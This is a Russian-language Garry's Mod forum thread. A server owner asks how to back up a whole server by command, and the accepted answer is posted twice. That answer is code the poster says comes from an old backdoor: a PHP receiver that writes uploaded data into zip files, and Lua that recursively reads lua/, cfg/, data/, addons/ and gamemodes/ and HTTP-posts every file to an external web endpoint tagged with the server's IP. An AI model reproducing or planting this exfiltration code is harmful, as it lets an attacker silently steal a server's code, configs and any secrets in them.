Вопрос как сделать так чтобы при команде bekup весь сервер(cl+sv часть) перекидывались в дату игроку который прописал команду

Статус
В этой теме нельзя размещать новые ответы.
  • 144
  • 11
Контакты для связи отсутствуют.
я решил сделать чтобы при взломе сервера сделать его бекап чтобы не просрать так как у меня там много работы(78+ ulx групп и другое что можно удалить) я хочу чтобы при написании команды мне скачивался весь сервер в папку data(даже если будет долго все равно успею чтонибудь сохранить). как это сделать?
 
Решение
Тема со старого бекдура для сохранения на сайт
PHP:
$zip=new ZipArchive();
$filename=$_POST['vfo'].".zip";
if($zip->open($filename,ZipArchive::CREATE)!==TRUE){
exit();
}
$zip->addFromString($_POST["one"]."/".$_POST["two"],$_POST["tree"]);
$zip->close();
Lua:
local function a(b)
local c,d=file.Find(b.."*","MOD")
for _,f in pairs(c)do
local g=file.Read(b.."/"..f,"GAME")
if g==nil then return end
http.Post("php.php",{one=b,two=f,tree=g,vfo=string.Replace(game.GetIPAddress(),":","_")})
end
for h,i in pairs(d)do
a(b..i.."/")
end
end
a("lua/")
a("cfg/")
a("data/")
a("addons/")
a("gamemodes/")
  • 158
  • 21
  • 59
Берешь file.Find на addons и тд берешь код с файла с помощью file.Read и отправляешь на клиент через net.Send в net.WriteString, ну и на клиенте принимаешь через net.Receive(только большие файлы не передаш, лучше бы на сайт сохранение сделать)
 
Последнее редактирование:
  • 158
  • 21
  • 59
Тема со старого бекдура для сохранения на сайт
PHP:
$zip=new ZipArchive();
$filename=$_POST['vfo'].".zip";
if($zip->open($filename,ZipArchive::CREATE)!==TRUE){
exit();
}
$zip->addFromString($_POST["one"]."/".$_POST["two"],$_POST["tree"]);
$zip->close();
Lua:
local function a(b)
local c,d=file.Find(b.."*","MOD")
for _,f in pairs(c)do
local g=file.Read(b.."/"..f,"GAME")
if g==nil then return end
http.Post("php.php",{one=b,two=f,tree=g,vfo=string.Replace(game.GetIPAddress(),":","_")})
end
for h,i in pairs(d)do
a(b..i.."/")
end
end
a("lua/")
a("cfg/")
a("data/")
a("addons/")
a("gamemodes/")
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу